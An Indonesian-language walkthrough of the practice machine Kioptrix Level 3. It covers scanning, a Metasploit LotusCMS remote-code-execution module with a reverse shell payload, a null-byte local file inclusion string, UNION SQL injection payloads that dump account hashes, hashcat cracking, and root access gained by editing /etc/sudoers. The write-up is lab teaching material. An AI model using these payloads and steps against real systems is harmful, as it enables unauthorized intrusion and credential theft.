Write-up Kioptrix Level 3

Hai teman-teman Kembali bertemu lagi dengan tulisan saya. Pada artikel kali ini saya akan melanjutkan seri membobol mesin kioptrix. Seperti yang telah saya tulis pada artikel sebelumnya Kioptrix sendiri adalah Oracle VM Image yang didesain memiliki celah kemanan didalamnya yang sangat rentan akan serangan. Tujuan dari permainan ini adalah mendapatkan akses root dari mesin tersebut dengan berbagai cara. Akan tetapi pada artikel kali ini mungkin levelnya akan sedikit lebih sulit daripada artikel sebelumnya karena disini kita akan membobol mesin kioptrix level 3. Tidak perlu khawatir karena dengan terus belajar dan terus melakukan enumerasi pasti akan ketemu juga celah keamanannya.

Persiapan

Hal pertama yang dapat kita lakukan adalah memastikan bahwa kita sudah memiliki dan menginstal VMware. Jika belum memilikinya maka bisa download vmWare di link dibawah ini:

https://my.vmware.com/en/web/vmware/downloads/info/slug/desktop_end_user_computing/vmware_workstation_player/16_0

Setelah itu kita download mesin kioptirx level 3 yang menjadi target kita untuk belajar dalam melakukan penyerangan terhadap celah keamanan yang ada. Kita bisa download kioptrix level 3 melalui link dibawah ini:

https://www.vulnhub.com/entry/kioptrix-level-12-3,24/

Setelah kita download, ekstrak terlebih dahulu filenya dan jalankan file yang telah diekstrak tadi menggunakan VMware dan pastikan pengaturan untuk Network Adapter adalah Bridged. Jangan lupa juga mesin yang digunakan untuk menyerang juga harus diatur supaya Network Adapter adalah Bridged.

Gambar Pengaturan Mesin

Ini adalah tampilan awal dari kioptrix level 3 setelah dijalankan. Kita diminta untuk login supaya bisa masuk ke sistemnya padahal kita belum memiliki username dan password untuk login. Disinilah tantangannya, kita diminta untuk mencari celah keamanan dari mesin kioptrix level 3 ini supaya bisa masuk ke dalam sistem.

Gambar Tampilan Kioptrix Level 3

Pada tampilan awal tersebut kita diminta untuk memodifikasi file /etc/hosts pada mesin yang kita gunakan untuk menyerang karena mesinnya menggunakan DHCP. Tapi sebelum itu kita harus mengetahui target IP yang akan kita serang.

Mencari Tahu IP Address Dari Target

Dikarenakan Kali Linux yang saya gunakan dan kioptrix terdapat dalam satu jaringan maka kita dapat mengetahui IP dari target kita dengan menggunakan tool netdiscover. Cara menjalankan tool ini kita dapat menuliskan perintah dibawah ini pada terminal linux:

[email protected]:~# sudo netdiscover

Gambar Hasil Netdiscover

Pada gambar tersebut kita bisa mengetahui IP dari Kioptrix yaitu 192.168.1.2 . Dengan begitu kita sudah mengetahui IP dari target yang ingin kita cari celah keamanannya. Perlu diketahui mungkin bisa saja IP target milik kita bisa berbeda.

Setelah mengetahui IP target kita dapat memodifikasi file /etc/hosts. Pada kasus ini saya menggunakan kali linux sehingga saya akan memodifikasi file /etc/hosts untuk menambahkan domain kioptrix3.com  pada file tersebut  dengan menggunakan perintah

[email protected]:~# sudo nano /etc/hosts

Gambar Pengaturan File /etc/hosts

Pemindaian (Scanning)

Tahap selanjutnya adalah melakukan pemindaian dengan mencari tahu port mana yang terbuka pada IP dari mesin kioptrix level 3 dengan menggunakan tool nmap. Caranya adalah dengan menuliskan perintah dibawah ini pada terminal linux:

[email protected]:~# nmap -A -p- 192.168.1.2

Gambar Hasil nmap

Dari hasil tersebut kita bisa mengetahui port mana yang terbuka. Setelah itu kita akan mencoba mengakses IP tersebut menggunakan browser. Maka akan muncul tampilan halaman utamanya.

Gambar Tampilan Website Kioptrix

Setelah itu saya mencoba terlebih dahulu untuk mengetahui direktori apa saja yang ada di website tersebut siapa tahu ada direktori yang terbuka untuk kita akses. Disini kita akan menggunakan tool yang bernama gobuster untuk mencari direktori pada sebuah website dan juga menggunakan wordlist yang berada di /usr/share/wordlists/wfuzz/general/big.txt. Tuliskan perintah dibawah ini pada terminal:

[email protected]:~# gobuster dir -u http://192.168.1.2/ -w /usr/share/wordlists/wfuzz/general/big.txt

Gambar Hasil gobuster

Dari hasil tersebut kita bisa mengetahui terdapat direktori phpMyAdmin yang dapat kita akses. Selanjutnya kita dapat mengecek dari tampilan awal website terdapat sebuah halaman login.

Gambar Halaman Login LotusCMS

Ternyata halaman login tersebut menggunakan LotusCMS. Hal ini membuat saya penasaran, akhirnya saya memutuskan untuk mencoba mencari tahu apakah ada kerentanan dengan lotusCMS menggunakan Metasploit.

msf5 > search lotusCMS

Gambar Hasil Pencarian Celah Keamanan LotusCMS

Dari hasil tersebut kita bisa mengetahui terdapat kerentanan RCE (Remote Code Execution).

Mengeksploitasi Celah LotusCMS

Setelah mengetahui adanya RCE pada LotusCMS kita bisa menggunakan modul yang ada di Metasploit supaya kita bisa masuk ke server kioptrix.

msf5 > use exploit/multi/http/lcms_php_exec

msf5 exploit(multi/http/lcms_php_exec) > set RHOST 192.168.1.2

msf5 exploit(multi/http/lcms_php_exec) > set uri /

msf5 exploit(multi/http/lcms_php_exec) > set payload generic/shell_reverse_tcp

msf5 exploit(multi/http/lcms_php_exec) > run

Dengan menjalan perintah perintah tersebut kita akan langsung masuk ke mesin kioptrix sebagai www-data.

Gambar Attacker Masuk Mesin Kioptrix Sebagai www-data

Langkah selanjutnya dalah mencari file yang mungkin bisa berisi kredensial. Setelah mengulik kita akan menemukan sebuah file bernama gconfig.php yang berada di folder gallery. Setelah itu kita bisa coba baca isinya dengan perintah berikut:

$ cat /home/www/kioptrix3.com/gallery/gconfig.php

Gambar Isi File gconfig.php

Ternyata file tersebut berisi username dan password yang bisa kita masukkan kedalam direktori phpMyAdmin pada website kioptrix.

Gambar Login phpMyAdmin

Setelah masuk kedalam phpMyAdmin kita dapat melihat database dari mesin kioptrix level 3. Bisa dilihat ternyata terdapat sebuah tabel yang bernama dev_accounts. Kita bisa mengetahui isi dari tabel tersebut dengan mengetikkan Query SQL seperti gambar dibawah.

Gambar phpMyAdmin Setelah Masuk

Maka akan muncul 2 buah username yang bernama dreg dan juga loneferret beserta passwordnya yang sudah berupa hash. Untuk selengkapnya bisa dilihat melalui gambar dibawah ini:

Gambar Kredensial User Kioptrix

Mengeksploitasi Celah Local File Inclusion

Melihat bahwa website kioptrix level 3 menggunakan PHP, saya menenemukan indikasi bahwa website ini terdapat celah kemanan local file inclusion dilihat dari bagaimana website tersebut memanggil sebuah halaman di bagian URL. Kita dapat mencoba menambahkan ../../../../../etc/passwd langsung setelah tanda = di dalam URL.

Gambar Website Kioptrix

Sayangnya, kita tidak akan menerima hasil apapun. Jadi, kita harus Kembali melakukan enumerasi dengan beralih ke Internet untuk meneliti kerentanan PHP LFI. Dalam membaca panduan OWASP “Testing for Local File Inclusion”, dicatat bahwa terminator null-byte mungkin diperlukan untuk menandai akhir dari sebuah string. Jadi, kita dapat memasukkan kembali ../../../../../etc/passwd dan menambahkan %00png di akhir string.

Gambar Isi File /etc/passwd Pada Mesin Kioptrix

Berhasil! Kita dapat mengetahui nama pengguna dengan melihat file /etc/passwd. Disitu kita juga bisa melihat terdapat user yang bernama dreg dan juga loneferret

Mengeksploitasi Celah SQL Injection

Setelah menjelajahi website dari kioptrix level 3 saya menemukan hal yang menarik pada salah satu halamannya dimana sepertinya terdapat celah SQL Injection didalamnya. Cara mengakses halaman tersebut dengan cara menuju ke halaman gallery

Gambar Tampilan Halaman Gallery

Setelah itu terdapat sebuah hyperlink bertuliskan Ligoat Press Room. Setelah masuk ternyata terdapat fitur filter. Kita dapat mencobanya dan ternyata memunculkan parameter yang bernama id.

Gambar Tampilan Website Yang Terdapat Celah SQL Injection

Hal tersebut terlihat seperti terdapat celah keamanan SQL Injection pada parameter id. Kita dapat mencoba membuktikannya dengan cara memasukkan payload berikut pada url yang diletakkan setelah nilai dari parameter id

union select 1,2,3,4,5,6

Gambar Website Ketika Terkena SQL Injection

Dari gambar tersebut kita dapat melihat bahwa tampilan dari website tersebut berubah. Hal ini menandakan terdapat celah keamanan SQL didalamnya. Setelah itu kita menggunakan payload yang ada dibawah ini untuk mengetahui tabel apa saya yang terdapat di database

union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema = database() — –

Gambar Website Menampilkan Tabel Database

Dengan mengetahui tabel apa saja yang ada di database kita dapat mengetahui kolom-kolom apa saja yang terdapat dari sebuah tabel tersebut. Pada kasus ini tabel dev_account sangat mencurigakan sehingga kita dapat mencoba mengetahui terlebih dahulu kolom apa saja yang terdapat di tabel dev_account dengan menggunakan payload berikut ini:

union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema = database() and table_name=’dev_accounts’ — –

Gambar Website Menampilkan Kolom Tabel dev_accounts Di Database

Dari gambar tersebut kita dapat mengetahui kolom apa saja yang terdapat pada tabel dev_accounts . Kolomnya terdapat id, username, dan password. Setelah itu kita mencoba untuk mengetahui isi dari kolom username dan password menggunakan payload berikut ini:

union select 1,group_concat(username,password),group_concat(username,password),4,5,6 from dev_accounts — –

Gambar Website Menampilkan User dan Password dari Tabel dev_accounts

Ternyata kita mendapatkan dua nama user yang dimana sama persis yang kita lihat dicleah LFI yaitu dreg dan loneferret beserta juga passwordnya berupa hash.

Cracking Password

Kita dapat menggunakan tool yang bernama hashcat untuk mengcrack password dari kedua user tersebut yang telah kita ketahui melalui celah keamanan LotusCMS dan juga SQL Injection. Hal pertama yang dapat kita lakukan menyimpan password tersebut pada sebuah file bernama password.txt. Setelah itu kita dapat menjalan hashcat dengan menggunakan mode md5 dan juga menggunakan wordlist dari rockyou.txt

[email protected]:~# hashcat -m 0 -a 0 password.txt /usr/share/wordlists/rockyou.txt -o crack.txt

Gambar Hashcat Bekerja

Kita dapat mengecek hasilnya pada file yang bernama crack.txt

Gambar Hasil Crack

Berhasil! Kita telah mendapatkan passwordnya.

Privilege Escalation

Menggunakan kredensial loneferret dengan password starwars kita dapat masuk kedalam sistem kioptrix dengan menggunakan SSH. Caranya adalah dengan mengetikkan perintah dibawah ini:

[email protected]:~# ssh [email protected]

Gambar Masuk Ke Mesin Kioptrix Menggunakan SSH

Kita berhasil masuk ke kioptrix menggunakan user loneferret. Selanjutnya saya ingin mengetahui perintah mana yang dapat dijalankan menggunakan sudo dengan perintah dibawah ini

[email protected]:~$ sudo -l

Gambar Hasil Perintah sudo -l

Kita bisa melihat bahwa /usr/local/bin/ht dapat dijalankan dengan menggunakan sudo. Tapi Ketika dijalankan kita akan mendapatkan error yang bertuliskan Error opening terminal: xterm-256color. Kita dapat menyelesaikannya dengan mengetikkan perintah berikut di terminal

[email protected]:~$ export TERM=xterm

Setelah menjalankan perintah sudo ht maka akan muncul sebuah editor pada terminal. Ternyata kita dapat membuka semua file apapun yang memiliki izin root dan juga merubahnya.

Gambar Tampilan ht

Menekan tombol F3 setelah itu kita membuka file /etc/sudoers. File /etc/sudoers mengizinkan kita untuk menambahkan perintah root untuk akun loneferret.

Gambar Tampilan ht Ketika Memilih File

Supaya dapat mendapatkan hak akses root untuk akun loneferret, kita perlu menambahkan /bin/bash langsung setelah /usr/local/bin/ht. Hal ini dapat memberikan akses root ke shell.

Gambar Mengedit File /etc/sudoers

Setelah perintah ditambahkan, kita dapat menyimpan filenya dan juga keluar editor. Setelah itu untuk mendapatkan akses root kita bisa mengetikkan perintah berikut:

[email protected]:~$ sudo /bin/bash  

Gambar Masuk Mesin Sebagai Root

Ternyata kita telah berhasil masuk sebagai root. Kita bisa mengakses catatan yang dibuat oleh pemilik mesin ini dengan mengakses file yang berada di /root/Congrats.txt

Gambar Isi file Congrats.txt

Kesimpulan

Dengan menyelesaiakan mesin Kioptrix Level 3 kita dapat belajar banyak hal baru. Kita dapat mengetahui bahwa terdapat banyak sekali celah keamanan yang terdapat di mesin ini diantaranya adalah Local File Inclusion (LFI) , Halaman login yang menggunakan lotusCMS yang ternyata terdapat celah keamanan Remote Code Execution (RCE) didalamnya, dan adanya celah SQL Injection pada parameter id. Dengan begitu saya mengharapkan kita bisa mendapatkan ilmu yang bermanfaat dan dapat berguna untuk kedepannya. Sekian dari saya dan nantikan tulisan saya selanjutnya. Happy Hacking!

Tinggalkan komentar